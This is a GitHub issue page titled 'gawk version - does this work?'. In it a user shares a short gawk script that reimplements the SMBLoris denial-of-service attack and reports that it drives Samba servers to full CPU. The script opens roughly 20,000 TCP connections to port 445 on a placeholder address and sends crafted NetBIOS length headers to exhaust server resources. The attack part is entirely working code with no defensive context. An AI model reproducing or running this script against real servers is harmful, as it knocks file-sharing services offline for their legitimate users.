Skip to content

gawk version - does this work? #1

@orachas

Description

@orachas

I have tried this against various Samba servers, and I do see 100% cpu.

$ cat smbloris.gawk 
#!/bin/gawk -f

BEGIN {
host = "1.2.3.4"
for(i = 1; i < 20000; i++)
{
 tcp_conn = "/inet/tcp/" i+30000 "/" host "/445"
 printf "%s", "\x00\x01\xff\xff" |& tcp_conn
}
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions